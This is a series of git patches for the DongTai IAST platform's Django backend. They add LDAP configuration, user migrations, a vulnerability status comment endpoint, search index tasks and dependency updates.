"==2.0.7" }, + "python-ldap": { + "hashes": [ + "sha256:ab26c519a0ef2a443a2a10391fa3c5cb52d7871323399db949ebfaa9f25ee2a0" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.3" + }, "pytz": { "hashes": [ "sha256:222439474e9c98fced559f1709d89e6c9cbf8d79c794ff3eb9f8800064291427", @@ -1839,7 +1822,6 @@ "sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==7.4.2" }, "redis": { @@ -1848,7 +1830,6 @@ "sha256:da92a39fec86438d3f1e2a1db33c312985806954fe860120b582a8430e231d8f" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==4.4.4" }, "requests": { @@ -1857,7 +1838,6 @@ "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==2.31.0" }, "result": { @@ -1866,7 +1846,6 @@ "sha256:d6a6258f32c057a4e0478999c6ce43dcadaf8ea435f58ac601ae2768f93ef243" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==0.8.0" }, "s3transfer": { @@ -1914,7 +1893,6 @@ "sha256:e197a19aa8ec9722928f2206f8de752def0e4c9fc6953527360d1c36d94ddb2f" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==65.5.1" }, "shortuuid": { @@ -1923,7 +1901,6 @@ "sha256:fc75f2615914815a8e4cb1501b3a513745cb66ef0fd5fc6fb9f8c3fa3481f789" ], "index": "pypi", - "markers": "python_version >= '3.5'", "version": "==1.0.11" }, "simhash": { @@ -1943,7 +1920,6 @@ "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.15.0" }, "sqlparse": { @@ -2054,7 +2030,6 @@ "sha256:cd74ce3b53c461f1228a9b783929ac73a666658f223e28ed29753771477b3bd0" ], "index": "pypi", - "markers": "python_version >= '3.7'", "version": "==2.31.0.6" }, "types-s3transfer": { @@ -2079,7 +2054,6 @@ "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef" ], "index": "pypi", - "markers": "python_version >= '3.8'", "version": "==4.8.0" }, "typing-inspect": { @@ -2111,7 +2085,6 @@ "sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098" ], "index": "pypi", - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' and python_version < '4'", "version": "==1.26.5" }, "uwsgi": { diff --git a/dongtai_common/migrations/0033_auto_20231007_1152.py b/dongtai_common/migrations/0033_auto_20231007_1152.py new file mode 100644 index 000000000..0934d3adc --- /dev/null +++ b/dongtai_common/migrations/0033_auto_20231007_1152.py @@ -0,0 +1,29 @@ +# Generated by Django 3.2.20 on 2023-10-07 11:52 + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + dependencies = [ + ("dongtai_common", "0032_update_vul_index_task"), + ] + + operations = [ + migrations.AddField( + model_name="user", + name="ldap_dn", + field=models.CharField(blank=True, max_length=1024), + ), + migrations.AlterField( + model_name="user", + name="role", + field=models.ForeignKey( + db_constraint=False, + default=2, + on_delete=django.db.models.deletion.DO_NOTHING, + to="dongtai_common.iastrolev2", + ), + ), + ] diff --git a/dongtai_common/migrations/0034_auto_20231007_1200.py b/dongtai_common/migrations/0034_auto_20231007_1200.py new file mode 100644 index 000000000..f22462be3 --- /dev/null +++ b/dongtai_common/migrations/0034_auto_20231007_1200.py @@ -0,0 +1,26 @@ +# Generated by Django 3.2.20 on 2023-10-07 12:00 + +from django.conf import settings +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + dependencies = [ + ("dongtai_common", "0033_auto_20231007_1152"), + ] + + operations = [ + migrations.RunSQL( + """ +UPDATE auth_user SET phone = "" WHERE phone IS NULL; +ALTER TABLE `auth_user` MODIFY `phone` varchar(255) DEFAULT '' NOT NULL; + + """ + ), + migrations.AlterField( + model_name="user", + name="phone", + field=models.CharField(blank=True, default="", max_length=255), + ), + ] diff --git a/dongtai_common/models/user.py b/dongtai_common/models/user.py index 54d2ccb9d..249c7aabe 100644 --- a/dongtai_common/models/user.py +++ b/dongtai_common/models/user.py @@ -61,14 +61,15 @@ def create_system_user(self, username, email=None, password=None, **extra_fields class User(AbstractUser, PermissionsMixin): id = models.BigAutoField(primary_key=True) is_superuser = models.IntegerField(default=0) - phone = models.CharField(max_length=15, blank=True) + phone = models.CharField(blank=True, max_length=255) default_language = models.CharField(max_length=15, blank=True) - role = models.ForeignKey(IastRoleV2, models.DO_NOTHING, default=1, db_constraint=False) + role = models.ForeignKey(IastRoleV2, models.DO_NOTHING, default=2, db_constraint=False) is_global_permission = models.BooleanField(default=False) deleted = models.BooleanField(default=False) failed_login_count = models.IntegerField(default=0) failed_login_time = models.DateTimeField(default=timezone.now) totp_secret = models.CharField(max_length=255, blank=True) + ldap_dn = models.CharField(max_length=1024, blank=True) objects = SaaSUserManager() using_department = None diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index ec674d4e1..fec2d8b4f 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -1056,6 +1056,7 @@ def is_gevent_monkey_patched() -> bool: def set_asyncio_policy(): state = is_gevent_monkey_patched() print(f"is in gevent patched : {state}") + pass # disable until this package update @@ -1090,3 +1091,14 @@ def set_asyncio_policy(): "signature", } SILKY_PYTHON_PROFILER_BINARY = True + + +# Baseline configuration. +AUTH_LDAP_SERVER_URI = config.get("ldap", "server_uri", fallback="") + +AUTH_LDAP_BIND_DN = config.get("ldap", "ldap_bind_dn", fallback="") +AUTH_LDAP_BIND_PASSWORD = config.get("ldap", "ldap_bind_password", fallback="") + +AUTH_LDAP_ALWAYS_UPDATE_USER = False + +AUTH_LDAP_READY = AUTH_LDAP_SERVER_URI != "" From a5d84bc077f4f760c8180822157f863cb707f078 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Sun, 8 Oct 2023 16:59:06 +0800 Subject: [PATCH 41/92] feat/add-ldap-settings --- Dockerfile | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 7ee935590..888ecb0ce 100644 --- a/Dockerfile +++ b/Dockerfile @@ -9,7 +9,8 @@ ENV TZ=Asia/Shanghai RUN apt-get update -y \ && apt install -y gettext gcc make cmake libmariadb-dev curl libc6-dev libxrender1 libxtst6 libxi6 unzip cron \ fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales \ - # htop sysstat net-tools iproute2 procps lsof \ + libsasl2-dev python3-dev libldap2-dev libssl-dev \ + # htop sysstat net-tools iproute2 procps lsof \ zip libjpeg62 \ && sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen \ && ALIMARCH=`arch` && curl -L https://charts.dongtai.io/apk/${ALIMARCH}/wkhtmltopdf -o /usr/bin/wkhtmltopdf \ From f835fd497408f8f54d895e29c2581c7091e61b50 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Sun, 8 Oct 2023 17:06:24 +0800 Subject: [PATCH 42/92] feat/add-ldap-settings --- dongtai_common/migrations/0033_auto_20231007_1152.py | 3 +-- dongtai_common/migrations/0034_auto_20231007_1200.py | 2 -- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/dongtai_common/migrations/0033_auto_20231007_1152.py b/dongtai_common/migrations/0033_auto_20231007_1152.py index 0934d3adc..76212d67b 100644 --- a/dongtai_common/migrations/0033_auto_20231007_1152.py +++ b/dongtai_common/migrations/0033_auto_20231007_1152.py @@ -1,8 +1,7 @@ # Generated by Django 3.2.20 on 2023-10-07 11:52 -from django.conf import settings -from django.db import migrations, models import django.db.models.deletion +from django.db import migrations, models class Migration(migrations.Migration): diff --git a/dongtai_common/migrations/0034_auto_20231007_1200.py b/dongtai_common/migrations/0034_auto_20231007_1200.py index f22462be3..76d160390 100644 --- a/dongtai_common/migrations/0034_auto_20231007_1200.py +++ b/dongtai_common/migrations/0034_auto_20231007_1200.py @@ -1,8 +1,6 @@ # Generated by Django 3.2.20 on 2023-10-07 12:00 -from django.conf import settings from django.db import migrations, models -import django.db.models.deletion class Migration(migrations.Migration): From 0070efde89165551f0ff1ad54305306ba6e964dd Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Sun, 8 Oct 2023 17:09:25 +0800 Subject: [PATCH 43/92] feat/add-ldap-settings --- dongtai_conf/settings.py | 1 - 1 file changed, 1 deletion(-) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index 54922af7d..ca712e899 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -1056,7 +1056,6 @@ def is_gevent_monkey_patched() -> bool: def set_asyncio_policy(): state = is_gevent_monkey_patched() print(f"is in gevent patched : {state}") - pass # disable until this package update From 192190f01bfb03570e83ced933ca7c1483ff0e0a Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Sun, 8 Oct 2023 17:12:34 +0800 Subject: [PATCH 44/92] feat/add-ldap-settings --- .../migrations/0035_alter_user_phone.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 dongtai_common/migrations/0035_alter_user_phone.py diff --git a/dongtai_common/migrations/0035_alter_user_phone.py b/dongtai_common/migrations/0035_alter_user_phone.py new file mode 100644 index 000000000..862bb7406 --- /dev/null +++ b/dongtai_common/migrations/0035_alter_user_phone.py @@ -0,0 +1,18 @@ +# Generated by Django 3.2.20 on 2023-10-08 17:12 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('dongtai_common', '0034_auto_20231007_1200'), + ] + + operations = [ + migrations.AlterField( + model_name='user', + name='phone', + field=models.CharField(blank=True, max_length=255), + ), + ] From 4a3f4add1b29a7a42c8ffa04925bc563fe5b4fe9 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Sun, 8 Oct 2023 17:13:57 +0800 Subject: [PATCH 45/92] feat/add-ldap-settings --- dongtai_common/migrations/0035_alter_user_phone.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/dongtai_common/migrations/0035_alter_user_phone.py b/dongtai_common/migrations/0035_alter_user_phone.py index 862bb7406..d7d119847 100644 --- a/dongtai_common/migrations/0035_alter_user_phone.py +++ b/dongtai_common/migrations/0035_alter_user_phone.py @@ -4,15 +4,14 @@ class Migration(migrations.Migration): - dependencies = [ - ('dongtai_common', '0034_auto_20231007_1200'), + ("dongtai_common", "0034_auto_20231007_1200"), ] operations = [ migrations.AlterField( - model_name='user', - name='phone', + model_name="user", + name="phone", field=models.CharField(blank=True, max_length=255), ), ] From 88f3834c87628180fac36e94be02bd0e036b8cc4 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sun, 8 Oct 2023 18:00:03 +0800 Subject: [PATCH 46/92] feat: add update vul tantivy index receiver --- dongtai_web/aggr_vul/tasks.py | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/dongtai_web/aggr_vul/tasks.py b/dongtai_web/aggr_vul/tasks.py index bc1cced08..dff301f8e 100644 --- a/dongtai_web/aggr_vul/tasks.py +++ b/dongtai_web/aggr_vul/tasks.py @@ -1,11 +1,25 @@ import tantivy from celery import shared_task +from celery_singleton import Singleton +from django.db.models.signals import m2m_changed, post_delete, post_save +from django.dispatch import receiver from dongtai_common.models.vulnerablity import IastVulnerabilityModel, tantivy_index from dongtai_conf.settings import TANTIVY_STATE -@shared_task(queue="dongtai-periodic-task") +@receiver(post_delete, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") +@receiver(post_save, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") +@receiver(m2m_changed, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") +def update_vul_tantivy_index_receiver(sender, instance, **kwargs): + update_vul_tantivy_index.apply_async(countdown=120) + + +@shared_task( + queue="dongtai-periodic-task", + base=Singleton, + lock_expiry=20, +) def update_vul_tantivy_index(): if not TANTIVY_STATE: return From 31e0de124a4d98ba6fcd8ec921952ce58aa28d9e Mon Sep 17 00:00:00 2001 From: st1020 Date: Sun, 8 Oct 2023 19:01:18 +0800 Subject: [PATCH 47/92] fix: tantivy index error --- dongtai_conf/settings.py | 2 +- dongtai_web/aggr_vul/app_vul_list.py | 4 ++-- dongtai_web/aggr_vul/tasks.py | 7 +++++++ 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/dongtai_conf/settings.py b/dongtai_conf/settings.py index ca712e899..b314b0273 100644 --- a/dongtai_conf/settings.py +++ b/dongtai_conf/settings.py @@ -1003,7 +1003,7 @@ def safe_execute(default, exception, function, *args): try: TANTIVY_INDEX_PATH = config.get("tantivy", "index_path") except Exception: - TANTIVY_INDEX_PATH = urljoin(TMP_COMMON_PATH, "tantivy") + TANTIVY_INDEX_PATH = os.path.join(TMP_COMMON_PATH, "tantivy") ELASTICSEARCH_STATE = config.get("elastic_search", "enable") == "true" diff --git a/dongtai_web/aggr_vul/app_vul_list.py b/dongtai_web/aggr_vul/app_vul_list.py index 367992531..08c6005d8 100644 --- a/dongtai_web/aggr_vul/app_vul_list.py +++ b/dongtai_web/aggr_vul/app_vul_list.py @@ -220,12 +220,12 @@ def post(self, request): es_query["order"] = order_type_desc + order_type if ELASTICSEARCH_STATE: vul_data = get_vul_list_from_elastic_search(projects, page=page, page_size=page_size, **es_query) - if TANTIVY_STATE: + if TANTIVY_STATE and keywords: ids = set() id_score = [] tantivy_query_str = "" for key, value in tantivy_query.items(): - if isinstance(value, str): + if isinstance(value, (str, int)): tantivy_query_str += f'+{key}:"{value}" ' elif isinstance(value, list): tantivy_query_str += f"+{key}: IN [{' '.join(map(str, value))}] " diff --git a/dongtai_web/aggr_vul/tasks.py b/dongtai_web/aggr_vul/tasks.py index dff301f8e..398f46543 100644 --- a/dongtai_web/aggr_vul/tasks.py +++ b/dongtai_web/aggr_vul/tasks.py @@ -1,3 +1,5 @@ +import logging + import tantivy from celery import shared_task from celery_singleton import Singleton @@ -7,6 +9,8 @@ from dongtai_common.models.vulnerablity import IastVulnerabilityModel, tantivy_index from dongtai_conf.settings import TANTIVY_STATE +logger = logging.getLogger("dongtai-core") + @receiver(post_delete, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") @receiver(post_save, sender=IastVulnerabilityModel, dispatch_uid="update_vul_tantivy_index") @@ -21,6 +25,7 @@ def update_vul_tantivy_index_receiver(sender, instance, **kwargs): lock_expiry=20, ) def update_vul_tantivy_index(): + logger.info("Start update vul tantivy index") if not TANTIVY_STATE: return index = tantivy_index() @@ -60,3 +65,5 @@ def update_vul_tantivy_index(): ) writer.commit() + + logger.info("Update vul tantivy index success!") From 44ace6d54cf15473db1f7f12bd2b6a0879307f5b Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 10:59:56 +0800 Subject: [PATCH 48/92] feat: vul status change msg. --- .../report/handler/heartbeat_handler.py | 1 - dongtai_web/urls.py | 2 + dongtai_web/utils.py | 2 +- dongtai_web/views/vul_status.py | 41 +++++++----------- dongtai_web/views/vul_status_msg.py | 42 +++++++++++++++++++ dongtai_web/vul_log/vul_log.py | 9 +++- 6 files changed, 67 insertions(+), 30 deletions(-) create mode 100644 dongtai_web/views/vul_status_msg.py diff --git a/dongtai_protocol/report/handler/heartbeat_handler.py b/dongtai_protocol/report/handler/heartbeat_handler.py index f25cc1f6d..b95b49d17 100644 --- a/dongtai_protocol/report/handler/heartbeat_handler.py +++ b/dongtai_protocol/report/handler/heartbeat_handler.py @@ -163,7 +163,6 @@ def get_result(self, msg=None): success_vul_ids, "验证中", ) - IastVulnerabilityModel.objects.filter(id__in=failure_vul_ids).update(latest_time=timestamp, status_id=1) logger.info(_("Reproduction request issued successfully")) logger.debug([i["id"] for i in replay_requests]) except Exception as e: diff --git a/dongtai_web/urls.py b/dongtai_web/urls.py index 8185b0b32..8157bba1f 100644 --- a/dongtai_web/urls.py +++ b/dongtai_web/urls.py @@ -127,6 +127,7 @@ from dongtai_web.vul_log.vul_log_view import VulLogViewSet from dongtai_web.vul_recheck_payload.vul_recheck_payload import VulReCheckPayloadViewSet from static.i18n.views.setlang import LanguageSetting +from dongtai_web.views.vul_status_msg import VulStatusMsg urlpatterns: list[URLResolver | URLPattern] = [ path("user/", UserDetailEndPoint.as_view()), @@ -160,6 +161,7 @@ path("vuln/summary_project", VulSummaryProject.as_view()), path("vuln/", VulDetail.as_view()), path("vuln/status", VulStatus.as_view()), + path("vuln//statusmsg", VulStatusMsg.as_view()), path("vuln/delete/", VulDelete.as_view()), path("vuln//method_pool", VulMethodPoolDownload.as_view()), path("vul/status_list", VulnerabilityStatusView.as_view()), diff --git a/dongtai_web/utils.py b/dongtai_web/utils.py index acd3843b3..677da743b 100644 --- a/dongtai_web/utils.py +++ b/dongtai_web/utils.py @@ -133,7 +133,7 @@ def get_response_serializer(data_serializer=None, msg_list=None, status_msg_keyp msg_list = ["success"] if msg_list is None else msg_list status_list = [201] if status_list is None else status_list return type( - str(uuid.uuid1()), + str(uuid.uuid4()), (serializers.Serializer,), { "status": serializers.IntegerField( diff --git a/dongtai_web/views/vul_status.py b/dongtai_web/views/vul_status.py index 7f27e5ba9..64ee25e25 100644 --- a/dongtai_web/views/vul_status.py +++ b/dongtai_web/views/vul_status.py @@ -12,6 +12,8 @@ ) from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer from dongtai_web.vul_log.vul_log import log_change_status +from rest_framework import serializers + logger = logging.getLogger("dongtai-webapi") @@ -23,36 +25,20 @@ ) +class VulStatusChangeArgsSerializer(serializers.Serializer): + vul_id = serializers.IntegerField(help_text=_("Vul id"), required=False) + vul_ids = serializers.ListField( + required=False, child=serializers.IntegerField(), default=[], help_text=_("Page index") + ) + status_id = serializers.IntegerField(required=True, help_text=_("Document's corresponding programming language")) + addtional_msg = serializers.CharField(default=None, help_text=_("Document's corresponding programming language")) + + class VulStatus(UserEndPoint): name = "api-v1-vuln-status" description = _("Modify the vulnerability status") @extend_schema_with_envcheck( - [], - [ - { - "name": _("Update with status_id"), - "description": _("Update vulnerability status with status id."), - "value": {"id": 1, "status_id": 1}, - }, - { - "name": _("Update with status name(Not recommended)"), - "description": _("Update vulnerability status with status name."), - "value": {"id": 1, "status": "str"}, - }, - ], - [ - { - "name": _("Get data sample"), - "description": _( - "The aggregation results are programming language, risk level, vulnerability type, project" - ), - "value": { - "status": 201, - "msg": "Vulnerability status is modified to Confirmed", - }, - } - ], tags=[_("Vulnerability")], summary=_("Vulnerability Status Modify"), description=_( @@ -62,11 +48,14 @@ class VulStatus(UserEndPoint): Both can be obtained from the vulnerability status list API, and status_id is preferred.""" ), response_schema=_ResponseSerializer, + request=VulStatusChangeArgsSerializer, ) def post(self, request): vul_id = request.data.get("vul_id") vul_ids = request.data.get("vul_ids") status_id = request.data.get("status_id") + addtional_msg = request.data.get("addtional_msg", "") + user = request.user user_id = user.id projects = request.user.get_projects() @@ -85,5 +74,5 @@ def post(self, request): ids.append(vul.id) # queryset.filter(id__in=vul_ids).values_list('id', flat=True)) - log_change_status(user_id, request.user.username, ids, vul_status.name) + log_change_status(user_id, request.user.username, ids, vul_status.name, addtional_msg) return R.success() diff --git a/dongtai_web/views/vul_status_msg.py b/dongtai_web/views/vul_status_msg.py new file mode 100644 index 000000000..fe4463062 --- /dev/null +++ b/dongtai_web/views/vul_status_msg.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + +# status +import logging + +from django.utils.translation import gettext_lazy as _ + +from dongtai_common.endpoint import R, UserEndPoint +from dongtai_common.models.vulnerablity import ( + IastVulnerabilityModel, + IastVulnerabilityStatus, +) +from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer +from dongtai_web.vul_log.vul_log import log_change_status +from dongtai_common.models.iast_vul_log import IastVulLog, MessageTypeChoices +from rest_framework import serializers + + +logger = logging.getLogger("dongtai-webapi") + +_ResponseSerializer = get_response_serializer( + status_msg_keypair=( + ((201, _("Vulnerability status is modified to {}")), ""), + ((202, _("Incorrect parameter")), ""), + ) +) + + +class VulStatusMsg(UserEndPoint): + name = "api-v1-vuln-status" + description = _("Modify the vulnerability status") + + @extend_schema_with_envcheck( + tags=[_("Vulnerability")], + summary="漏洞的最新评论", + response_schema=_ResponseSerializer, + ) + def get(self, request, vul_id): + latest_log_msg = IastVulLog.objects.filter(msg_type=MessageTypeChoices.CHANGE_STATUS).first() + if not latest_log_msg or "addtional_msg" not in latest_log_msg.meta_data: + return R.success(data="") + return R.success(data=latest_log_msg.meta_data["addtional_msg"]) diff --git a/dongtai_web/vul_log/vul_log.py b/dongtai_web/vul_log/vul_log.py index 3298dfad8..80e0464fb 100644 --- a/dongtai_web/vul_log/vul_log.py +++ b/dongtai_web/vul_log/vul_log.py @@ -5,12 +5,17 @@ logger = logging.getLogger("dongtai-webapi") -def log_change_status(user_id: int, user_name: str, vul_id: list, vul_status: str): +def log_change_status(user_id: int, user_name: str, vul_id: list, vul_status: str, addtional_msg: str = ""): kwargs = locals() logger.debug(kwargs) if "kwargs" in kwargs: del kwargs["kwargs"] - msg = f"id为{user_id}的用户{user_name}修改漏洞状态为{vul_status}" + msg = ( + f"id为{user_id}的用户{user_name}修改漏洞状态为{vul_status}" + if addtional_msg + else f"id为{user_id}的用户{user_name}修改漏洞状态为{vul_status} 评论: {addtional_msg}" + ) + IastVulLog.objects.bulk_create( [ IastVulLog( From c94359e2aa2220e06ea63d19f6a909c343e95331 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 11:01:27 +0800 Subject: [PATCH 49/92] feat: vul status change msg. --- dongtai_web/views/vul_status.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dongtai_web/views/vul_status.py b/dongtai_web/views/vul_status.py index 64ee25e25..86d9f7da7 100644 --- a/dongtai_web/views/vul_status.py +++ b/dongtai_web/views/vul_status.py @@ -31,7 +31,7 @@ class VulStatusChangeArgsSerializer(serializers.Serializer): required=False, child=serializers.IntegerField(), default=[], help_text=_("Page index") ) status_id = serializers.IntegerField(required=True, help_text=_("Document's corresponding programming language")) - addtional_msg = serializers.CharField(default=None, help_text=_("Document's corresponding programming language")) + addtional_msg = serializers.CharField(default="", help_text=_("Document's corresponding programming language")) class VulStatus(UserEndPoint): From 9f0729f2efcc776a26bddfbc2a955da9461feb37 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 11:12:54 +0800 Subject: [PATCH 50/92] feat: vul status change msg. --- dongtai_protocol/report/handler/heartbeat_handler.py | 1 - dongtai_web/urls.py | 2 +- dongtai_web/views/vul_status.py | 3 +-- dongtai_web/views/vul_status_msg.py | 9 +-------- 4 files changed, 3 insertions(+), 12 deletions(-) diff --git a/dongtai_protocol/report/handler/heartbeat_handler.py b/dongtai_protocol/report/handler/heartbeat_handler.py index b95b49d17..c63f85a21 100644 --- a/dongtai_protocol/report/handler/heartbeat_handler.py +++ b/dongtai_protocol/report/handler/heartbeat_handler.py @@ -14,7 +14,6 @@ from dongtai_common.models.heartbeat import IastHeartbeat from dongtai_common.models.project import VulValidation from dongtai_common.models.replay_queue import IastReplayQueue -from dongtai_common.models.vulnerablity import IastVulnerabilityModel from dongtai_common.utils import const from dongtai_common.utils.systemsettings import get_vul_validate from dongtai_protocol.report.handler.report_handler_interface import IReportHandler diff --git a/dongtai_web/urls.py b/dongtai_web/urls.py index 8157bba1f..ea3dd45ce 100644 --- a/dongtai_web/urls.py +++ b/dongtai_web/urls.py @@ -119,6 +119,7 @@ from dongtai_web.views.vul_method_pool_download import VulMethodPoolDownload from dongtai_web.views.vul_request_replay import RequestReplayEndPoint from dongtai_web.views.vul_status import VulStatus +from dongtai_web.views.vul_status_msg import VulStatusMsg from dongtai_web.views.vul_summary import VulSummary from dongtai_web.views.vul_summary_project import VulSummaryProject from dongtai_web.views.vul_summary_type import VulSummaryType @@ -127,7 +128,6 @@ from dongtai_web.vul_log.vul_log_view import VulLogViewSet from dongtai_web.vul_recheck_payload.vul_recheck_payload import VulReCheckPayloadViewSet from static.i18n.views.setlang import LanguageSetting -from dongtai_web.views.vul_status_msg import VulStatusMsg urlpatterns: list[URLResolver | URLPattern] = [ path("user/", UserDetailEndPoint.as_view()), diff --git a/dongtai_web/views/vul_status.py b/dongtai_web/views/vul_status.py index 86d9f7da7..fd2d616db 100644 --- a/dongtai_web/views/vul_status.py +++ b/dongtai_web/views/vul_status.py @@ -4,6 +4,7 @@ import logging from django.utils.translation import gettext_lazy as _ +from rest_framework import serializers from dongtai_common.endpoint import R, UserEndPoint from dongtai_common.models.vulnerablity import ( @@ -12,8 +13,6 @@ ) from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer from dongtai_web.vul_log.vul_log import log_change_status -from rest_framework import serializers - logger = logging.getLogger("dongtai-webapi") diff --git a/dongtai_web/views/vul_status_msg.py b/dongtai_web/views/vul_status_msg.py index fe4463062..bd0cf7e87 100644 --- a/dongtai_web/views/vul_status_msg.py +++ b/dongtai_web/views/vul_status_msg.py @@ -6,15 +6,8 @@ from django.utils.translation import gettext_lazy as _ from dongtai_common.endpoint import R, UserEndPoint -from dongtai_common.models.vulnerablity import ( - IastVulnerabilityModel, - IastVulnerabilityStatus, -) -from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer -from dongtai_web.vul_log.vul_log import log_change_status from dongtai_common.models.iast_vul_log import IastVulLog, MessageTypeChoices -from rest_framework import serializers - +from dongtai_web.utils import extend_schema_with_envcheck, get_response_serializer logger = logging.getLogger("dongtai-webapi") From e686c07e11674d023fb90847f9ced08fe3761b9c Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Mon, 9 Oct 2023 17:27:51 +0800 Subject: [PATCH 51/92] build(deps): fix deps . --- Pipfile | 6 +- Pipfile.lock | 229 +++++++++++++++++++++++---------------------------- 2 files changed, 108 insertions(+), 127 deletions(-) diff --git a/Pipfile b/Pipfile index df943d083..dd75e78dc 100644 --- a/Pipfile +++ b/Pipfile @@ -26,7 +26,7 @@ mysqlclient = "*" python-docx = "==0.8.11" requests = "==2.31.0" six = "==1.15.0" -urllib3 = "==1.26.5" +urllib3 = "~=1.26.17" xlwt = "==1.3.0" pyre2 = "~=0.3.6" celery = "==5.3.0rc1" @@ -51,7 +51,7 @@ docxtpl = "==0.16.0" docxcompose = "==1.3.4" django-elasticsearch-dsl = "==7.2.2" #asyncio-gevent = "==0.2.1" -gevent = "==22.10.2" +gevent = "~=23.9.0" ddt = "==1.6.0" boto3 = "==1.24.59" mypy = "==1.0.1" @@ -70,7 +70,7 @@ setuptools = "==65.5.1" elasticsearch = "==7.17.7" django-mock-queries = "==v2.1.7" jsonschema = "==4.17.0" -pillow = "==9.3.0" +pillow = "~=10.0.1" pyrsistent = "==0.19.1" pytz = "==2022.6" types-pyyaml = ">=6.0.12.2" diff --git a/Pipfile.lock b/Pipfile.lock index 511936b13..9b381e0d0 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "8da72feb0855fe3e2c0c74c0d19be1930c05efb1c667d0454f86dc86ab58d175" + "sha256": "f4caca89775b3056c863e1088babb5e9549908d2bcb9bacaae09b826d5e9e54f" }, "pipfile-spec": 6, "requires": { @@ -684,61 +684,49 @@ }, "gevent": { "hashes": [ - "sha256:018f93de7d5318d2fb440f846839a4464738468c3476d5c9cf7da45bb71c18bd", - "sha256:0d581f22a5be6281b11ad6309b38b18f0638cf896931223cbaa5adb904826ef6", - "sha256:1472012493ca1fac103f700d309cb6ef7964dcdb9c788d1768266e77712f5e49", - "sha256:172caa66273315f283e90a315921902cb6549762bdcb0587fd60cb712a9d6263", - "sha256:17b68f4c9e20e47ad49fe797f37f91d5bbeace8765ce2707f979a8d4ec197e4d", - "sha256:1ca01da176ee37b3527a2702f7d40dbc9ffb8cfc7be5a03bfa4f9eec45e55c46", - "sha256:1d543c9407a1e4bca11a8932916988cfb16de00366de5bf7bc9e7a3f61e60b18", - "sha256:1e1286a76f15b5e15f1e898731d50529e249529095a032453f2c101af3fde71c", - "sha256:1e955238f59b2947631c9782a713280dd75884e40e455313b5b6bbc20b92ff73", - "sha256:1f001cac0ba8da76abfeb392a3057f81fab3d67cc916c7df8ea977a44a2cc989", - "sha256:1ff3796692dff50fec2f381b9152438b221335f557c4f9b811f7ded51b7a25a1", - "sha256:2929377c8ebfb6f4d868d161cd8de2ea6b9f6c7a5fcd4f78bcd537319c16190b", - "sha256:319d8b1699b7b8134de66d656cd739b308ab9c45ace14d60ae44de7775b456c9", - "sha256:323b207b281ba0405fea042067fa1a61662e5ac0d574ede4ebbda03efd20c350", - "sha256:3b7eae8a0653ba95a224faaddf629a913ace408edb67384d3117acf42d7dcf89", - "sha256:4114f0f439f0b547bb6f1d474fee99ddb46736944ad2207cef3771828f6aa358", - "sha256:4197d423e198265eef39a0dea286ef389da9148e070310f34455ecee8172c391", - "sha256:494c7f29e94df9a1c3157d67bb7edfa32a46eed786e04d9ee68d39f375e30001", - "sha256:4e2f008c82dc54ec94f4de12ca6feea60e419babb48ec145456907ae61625aa4", - "sha256:53ee7f170ed42c7561fe8aff5d381dc9a4124694e70580d0c02fba6aafc0ea37", - "sha256:54f4bfd74c178351a4a05c5c7df6f8a0a279ff6f392b57608ce0e83c768207f9", - "sha256:58898dbabb5b11e4d0192aae165ad286dc6742c543e1be9d30dc82753547c508", - 